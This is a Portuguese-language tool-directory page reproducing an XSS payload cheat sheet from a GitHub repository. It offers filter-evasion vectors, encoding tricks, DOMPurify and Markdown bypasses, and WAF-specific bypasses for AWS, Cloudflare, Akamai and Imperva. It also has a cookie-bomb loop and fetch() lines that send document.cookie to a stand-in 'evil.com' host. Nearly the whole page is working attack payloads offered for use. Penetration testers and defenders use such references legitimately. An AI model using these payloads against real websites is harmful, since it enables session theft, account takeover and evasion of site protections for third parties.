Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
XSS-Bypass-Filters — Coleção selecionada de payloads XSS e folha de referência para bypass de filtros: evasão específica de WAF, vetores de injeção JS/HTML, truques de codificação, bypasses de DOMPurify e Markdown. | Kitploit
Ferramentas/GitHubGitHub/edr4/xss-bypass-filters
Exploração de Aplicações WebBypass de WAFSegurança WebTestes de PenetraçãoAprendizado e EducaçãoRecursos CuradosDesenvolvimento de Payloads
GitHubedr4/xss-bypass-filters

XSS-Bypass-Filters

Coleção selecionada de payloads XSS e folha de referência para bypass de filtros: evasão específica de WAF, vetores de injeção JS/HTML, truques de codificação, bypasses de DOMPurify e Markdown.

Ver Repositório
5981045há 1 anoRevisado pelo Kitploit

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

XSS-Bypass-Filters

Redirecionamento

root@kitploit:~
document.location=
document['location']=
window.location=
this["window"]["location"]=
document.location.href=
location.href=
location=
window.location.assign()
window['location']['href']=
document.location.replace()
window.open("link", "_blank");

Link

root@kitploit:~
//google.com/?=a
//134744072:1234/?a= (decimal ip)

Cookies

root@kitploit:~
document.cookie 
document['cookie']
with(document)alert(cookie)
doc\u0075ment.cookie
doc\u0075ment['cookie']
window["doc"+"ument"]["cookie"]

Concat

root@kitploit:~
fetch("//evil.com/?c="+document.cookie)
fetch("//evil.com/?c=".concat(document.cookie))
fetch("//evil.com/?c=", document.cookie].join())
fetch(`//evil.com/?c=${document.cookie}`)

Href

root@kitploit:~
<!--javascript -->
javascript:alert(1)
JaVaScript:alert(1)
ja&Tab;vascript:alert(1)
java\tscript:alert(1)
ja&NewLine;vascript:alert(1)
ja&#x0000A;vascript:alert(1)
java&#x73;cript:alert()
&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;alert('XSS')

# tab (0x9), newline (0xa) and carriage return (0xd) allowed (inside or after the protocol) 

ja
vascript:alert(1) # New line 

jav	asc	ript	:alert(1) # Tab

# Special Characters before the protocol (Raw or encode)
# \x01-\x20 are allowed - Somes Example :
http://www.unicode-symbol.com/u/0017.html
http://www.unicode-symbol.com/u/0008.html

&#23;javascript:alert('Successful XSS') # ETB HTML
&#x8;javascript:alert(1) # Backspace HTML

# colon
javascript&colon;alert()
javascript&#x0003A;alert()
javascript&#58;alert(1)
javascript&#x3A;alert()

# javascript://
javascript://%0Aalert(1)
javascript://%0Dalert(1)

#  target="_blank"
- Scroll Click
- Shift + Click
- Ctrl + Click

# alert
javascript:alert&lpar;&rpar;
javascript:al&#x65;rt``
javascript:alert%60%60
javascript:x='%27-alert(1)-%27';
javascript:%61%6c%65%72%74%28%29

#JS unicode 
javascript:a\u006Cert``"
javascript:\u0061\u006C\u0065\u0072\u0074``

ENTIDADE HTML

Entidades nomeadas

https://gchq.github.io/CyberChef/#recipe=To_HTML_Entity(false,'Named%20entities')

root@kitploit:~
' -> &apos;
" -> &quot;
` -> &grave;
` -> &DiacriticalGrave;
( -> &lpar;
) -> &rpar;
{ -> &lcub;
} -> &rcub;
& -> &amp;
< -> &lt;
> -> &gt;
\n -> &NewLine;
\t -> &Tab;
nbsp -> &nbsp;
\ -> &bsol;

Entidades hex

[https://gchq.github.io/CyberChef/#recipe=To_HTML_Entity(false,'Hex%20entities')

root@kitploit:~
' -> &#x27;
" -> &#x22;
` -> &#x60;
( -> &#x28;
{ -> &#x7b;
} -> &#x7d;
& -> &#x26;
< -> &#x3c;
> -> &#x3e;
\n -> &#x0a;
\t -> &#x09;
nbsp -> &#xa0;
\ -> &#x5c;

Entidades numéricas

https://gchq.github.io/CyberChef/#recipe=To_HTML_Entity(false,'Numeric%20entities')

root@kitploit:~
' -> &#39;
" -> &#34;
` -> &#96;
( -> &#40;
) -> &#41;
{ -> &#123;
} -> &#125;
& -> &#38;
< -> &#60;
> -> &#62;
\n -> &#10;
\t -> &#9;
nbsp -> &#160;
\ -> &#92;

Numéricas e Hex você pode adicionar quantos 0 quiser

root@kitploit:~
( -> &#x28; = &#x0000028;
( -> &#40; = &#0000000000040;

Email

root@kitploit:~
test+(<script>alert(0)</script>)@example.com
test@example(<script>alert(0)</script>).com
"<script>alert(0)</script>"@example.com

Iframe

root@kitploit:~
 #use href bypass
 # if youtube is whitelisted for example

 # base64 <script>alert(1)</script>

Sem tag de fechamento

root@kitploit:~

<svg/onload=alert(1)>
<object/data=javascript:prompt(1)>
<input/autofocus/onfocus=prompt(1)>
<audio/src/onloadstart=alert(1)>
<svg><animate/onbegin=alert(1)>
<svg><animate/dur='1s'onend=alert(1)>
<svg><set/onbegin=alert(1)>
<svg><set/dur='1ms'onend=alert(1)>
<marquee width=1 loop=1 onfinish=alert(1)>
<details/open/ontoggle=confirm(1)>
<details open ontoggle=confirm(1)>
<details/ontoggle='alert(1)'/open>
<details ontoggle=alert(1) open>

Sem ponto

root@kitploit:~
<script src=//0x8ac5c30a>

Sem parênteses

root@kitploit:~
alert`45`
document.location="javascript:alert%2845%29"
onerror=alert;throw 45

https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md

root@kitploit:~
<svg/onload='alert&#40 23 &#41'> 
location=/javascript:alert%2823%29/.source;

Máximo de 20 caracteres:

https://jlajara.gitlab.io/XSS_20_characters

Alguns payloads aleatórios

root@kitploit:~
'-alert(1)-'
"-alert(1)-"
);alert(1)//
';alert(1)//
";alert(1)//
">//
'>//
>"@input="this.alert`1`
>'@input='this.alert`1`
&quot onerror='alert(1)'
" onerror='alert(1)'

Em bypass de injeção em JS

Com <!-- <script/

root@kitploit:~
<script>
  var test = "injection <!-- <script/";
</script>

<script>alert(origin)</script>">
or
<input type="hidden" value="</script><script>alert(1)</script>">
or 
<a href="</script><script>alert(3)</script>" value="xxx">TEST<a>

which can be in between quotes...

Com

root@kitploit:~
<script>
  var test = "</script><svg/onload=alert(45)>"
</script>

Com </script Espaço, tab, strings, retorno de linha... >

root@kitploit:~
<script>
  var test = "</script ><svg/onload=alert(45)>"
</script>

<script>
  var test = "</script  ><svg/onload=alert(45)>"
</script>

<script>
  var test = "</script random><svg/onload=alert(45)>"
</script>

<script>
  var test = "</script
random><svg/onload=alert(45)>"
</script>

<script>
  var test = "</script 
random><svg/onload=alert(45)>"
</script>

<script>
  var test = "</script <svg/onload=alert(45)>"
</script>

Com aspas duplas e sinal de mais (mesmo para aspas simples)

root@kitploit:~
<script>
  var test = ""+alert(45)+""
  // user input: "+alert(45)+"
</script>

Com barra invertida

root@kitploit:~
<script>
  var test = "\", test1="+alert(45)//input2"
  // Original: var test = "input1", test1="input2"
  // user input1: \
  // user input2: +alert(45)//
</script>

302 XSS

root@kitploit:~
ws://google.com"><svg/onload=alert(2)>
wss://google.com"><svg/onload=alert(2)>
resource://google.com"><svg/onload=alert(2)>

https://www.gremwell.com/firefox-xss-302
https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/

Função de teste

root@kitploit:~
["YWxlcnQoJ1hTUycp"].map(atob).map(eval)
console.trace()
console.error()
console.trace``
console.error``
confirm?.(1)
top.confirm?.(1)
alert?.(1)
(a=>a(1))(alert);
setTimeout(alert, 0, 1)
[1].forEach(alert);
alert.bind()(1)
a=alert;a`1`;
alert()
alert/**/()
alert (10)
alert\n(1)
var{a:onerror}={a:alert};throw%20document.cookie
alert(1)
window['alert'](https://github.com/edr4/xss-bypass-filters/blob/main/0)
parent['alert'](https://github.com/edr4/xss-bypass-filters/blob/main/1)
self['alert'](https://github.com/edr4/xss-bypass-filters/blob/main/2)
top['alert'](https://github.com/edr4/xss-bypass-filters/blob/main/3)
this['alert'](https://github.com/edr4/xss-bypass-filters/blob/main/4)
frames['alert'](https://github.com/edr4/xss-bypass-filters/blob/main/5)
content['alert'](https://github.com/edr4/xss-bypass-filters/blob/main/6)
[7].map(alert)
[8].find(alert)
[9].every(alert)
[10].filter(alert)
[11].findIndex(alert)
[12].forEach(alert);
eval('ale'+'rt(0)');
eval('ale'+'rt(0)');
Function("ale"+"rt(1)")();
new Function`al\ert\`6\``;
constructor.constructor("aler"+"t(3)")();
[].filter.constructor('ale'+'rt(4)')();
top["al"+"ert"](https://github.com/edr4/xss-bypass-filters/blob/main/5);
top[8680439..toString(30)](https://github.com/edr4/xss-bypass-filters/blob/main/7);
top[/al/.source+/ert/.source](https://github.com/edr4/xss-bypass-filters/blob/main/8);
top['al\x65rt'](https://github.com/edr4/xss-bypass-filters/blob/main/9);
open('java'+'script:ale'+'rt(11)');
setTimeout`alert\u0028document.domain\u0029`;
setTimeout('ale'+'rt(2)');
setInterval('ale'+'rt(10)');
Set.constructor('ale'+'rt(13)')();
Set.constructor`al\x65rt\x2814\x29```;
[666]["\155\141\160"]["\143\157\156\163\164\162\165\143\164\157\162"](https://github.com/edr4/xss-bypass-filters/blob/main/%22%5C141%5C154%5C145%5C162%5C164%28666)")(666)

DOMPurify

<2.1

root@kitploit:~
<math><mtext><table><mglyph><style><!--</style>

<math><mtext><table><mglyph><style><![CDATA[</style>

<math><mtext><table><mglyph><style><!--</style></mglyph>">

<2.0.1

root@kitploit:~
<svg></p><style><a id="</style>">

<svg><p><style><a id="</style>"></p></svg>

XSS em Markdown

root@kitploit:~
[a](javascript:prompt(document.cookie))
[a](j    a   v   a   s   c   r   i   p   t:prompt(document.cookie))
a)\
<javascript:prompt(document.cookie)>
<&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>
a\
[a](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)
[a](&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29)
![a'"`onerror=prompt(document.cookie)](https://raw.githubusercontent.com/edr4/xss-bypass-filters/HEAD/x)\
[citelol]: https://raw.githubusercontent.com/edr4/xss-bypass-filters/main/(javascript:prompt(document.cookie))
[notmalicious](javascript:window.onerror=alert;throw%20document.cookie)
[test](javascript://%0d%0aprompt(1))
[test](javascript://%0d%0aprompt(1);com)
[notmalicious](javascript:window.onerror=alert;throw%20document.cookie)
[notmalicious](javascript://%0d%0awindow.onerror=alert;throw%20document.cookie)
[a](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)
[clickme](vbscript:alert(document.domain))
_http://[email protected] style=background-image:url(data:image/png;base64,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);background-repeat:no-repeat;display:block;width:100%;height:100px; onclick=alert(unescape(/Oh%20No!/.source));return(false);//
<http://\<meta\ http-equiv=\"refresh\"\ content=\"0;\ url=http://danlec.com/\"\>>
[text](http://danlec.com " [@danlec](/danlec) ")
[a](javascript:this;alert(1))
[a](javascript:this;alert(1&#41;)
[a](javascript&#58this;alert(1&#41;)
[a](Javas&#99;ript:alert(1&#41;)
[a](https://github.com/edr4/xss-bypass-filters/blob/main/Javas%26%2399%3Bript%3Aalert%281%29)
[a](javascript:alert&#65534;(1&#41;)
[a](javascript:confirm(1)
[a](javascript://www.google.com%0Aprompt(1))
[a](javascript://%0d%0aconfirm(1);com)
[a](javascript:window.onerror=confirm;throw%201)
[a](javascript:alert(document.domain&#41;)
[a](javascript://www.google.com%0Aalert(1))
[a](https://github.com/edr4/xss-bypass-filters/blob/main/%27javascript%3Aalert%28%221%22)')
[a](JaVaScRiPt:alert(1))
a)
![a](https://raw.githubusercontent.com/edr4/xss-bypass-filters/HEAD/%22onerror=%22alert(1))
</http://<?php\><\h1\><script:script>confirm(2)
[XSS](https://github.com/edr4/xss-bypass-filters/blob/main/.alert%281);)
[ ](https://a.de?p=[[/data-x=. style=background-color:#000000;z-index:999;width:100%;position:fixed;top:0;left:0;right:0;bottom:0; data-y=.]])
[ ](http://a?p=[[/onclick=alert(0) .]])
[a](javascript:new%20Function`al\ert\`1\``;)

Bypass de WAF

Bypass aleatório de cabeçalho UA, banimento de IP https://portswigger.net/bappstore/3a656c1be14148c6bf95642af42eb854

Bypass da Amazon

Sem clique

root@kitploit:~
<details/open/id="&quot;"ontoggle=[JS]>

Bypass de XSS baseado em POST da AWS

Adding 8192 "A" before your payload allow you to bypass AWS WAF for POST request

imagem

https://kloudle.com/blog/the-infamous-8kb-aws-waf-request-body-inspection-limitation/

Bypass de Imperva & Incapsula

Sem clique

root@kitploit:~
<details/open/id="&quot;"ontoggle=[JS]>

Bypass de Cloudflare

Sem clique

root@kitploit:~


<svg onload=prompt%26%230000000040document.domain)>

Bypass de href

root@kitploit:~
<a"/onclick=(confirm)()>Click%20Here!
  • Identificar a origem do servidor https://github.com/gwen001/cloudflare-origin-ip

Bypass da Akamai

Sem clique

root@kitploit:~
<details open id="' &quot;'"ontoggle=[JS]>

Clique

root@kitploit:~
<math><edra href=Ja&Tab;vascript&colon;console.error(1)>HERE</edra></math>

Bomba de Cookie

Pode ser usado para demonstrar o fato de colocar "baixa" Acessibilidade em um CVSS

root@kitploit:~
for (let i = 0; i < 500; i++) {
  var a = 'A'.repeat(500);
  document.cookie = `${i}=${a}`;
}

Eventos

root@kitploit:~
onafterprint
onafterscriptexecute
onanimationcancel
onanimationend
onanimationiteration
onanimationstart
onauxclick
onbeforecopy
onbeforecut
onbeforeinput
onbeforeprint
onbeforescriptexecute
onbeforeunload
onbegin
onblur
onbounce
oncanplay
oncanplaythrough
onchange
onclick
onclose
oncontextmenu
oncopy
oncuechange
oncut
ondblclick
ondrag
ondragend
ondragenter
ondragleave
ondragover
ondragstart
ondrop
ondurationchange
onend
onended
onerror
onfinish
onfocus
onfocusin
onfocusout
onfullscreenchange
onhashchange
oninput
oninvalid
onkeydown
onkeypress
onkeyup
onload
onloadeddata
onloadedmetadata
onloadend
onloadstart
onmessage
onmousedown
onmouseenter
onmouseleave
onmousemove
onmouseout
onmouseover
onmouseup
onmousewheel
onmozfullscreenchange
onpagehide
onpageshow
onpaste
onpause
onplay
onplaying
onpointerdown
onpointerenter
onpointerleave
onpointermove
onpointerout
onpointerover
onpointerrawupdate
onpointerup
onpopstate
onprogress
onratechange
onrepeat
onreset
onresize
onscroll
onsearch
onseeked
onseeking
onselect
onselectionchange
onselectstart
onshow
onstart
onsubmit
ontimeupdate
ontoggle
ontouchend
ontouchmove
ontouchstart
ontransitioncancel
ontransitionend
ontransitionrun
ontransitionstart
onunhandledrejection
onunload
onvolumechange
onwebkitanimationend
onwebkitanimationiteration
onwebkitanimationstart
onwebkittransitionend
onwheel

Tags HTML

root@kitploit:~
a
abbr
acronym
address
applet
area
article
aside
audio
b
base
bdi
bdo
big
blink
blockquote
body
br
button
canvas
caption
center
cite
code
col
colgroup
command
content
data
datalist
dd
del
details
dfn
dialog
dir
div
dl
dt
element
em
embed
fieldset
figcaption
figure
font
footer
form
frame
frameset
h1
head
header
hgroup
hr
html
i
iframe
image
img
input
ins
kbd
keygen
label
legend
li
link
listing
main
map
mark
marquee
menu
menuitem
meta
meter
multicol
nav
nextid
nobr
noembed
noframes
noscript
object
ol
optgroup
option
output
p
param
picture
plaintext
pre
progress
q
rb
rp
rt
rtc
ruby
s
samp
script
section
select
shadow
slot
small
source
spacer
span
strike
strong
style
sub
summary
sup
svg
svg -> animate
svg -> animatemotion
svg -> animatetransform
svg -> set
table
tbody
td
template
textarea
tfoot
th
thead
time
title
tr
track
tt
u
ul
var
video
wbr
xmp

Fontes

  • https://portswigger.net/web-security/cross-site-scripting/cheat-sheet
  • https://gist.github.com/xsuperbug/1aff5c1d5ddbfefb035f33dd9c8e8a72
  • https://netsec.expert/posts/xss-in-2021/#double-encoding
  • https://github.com/cujanovic/Markdown-XSS-Payloads/
  • https://www.hahwul.com/cullinan/xss/
Baixar ferramenta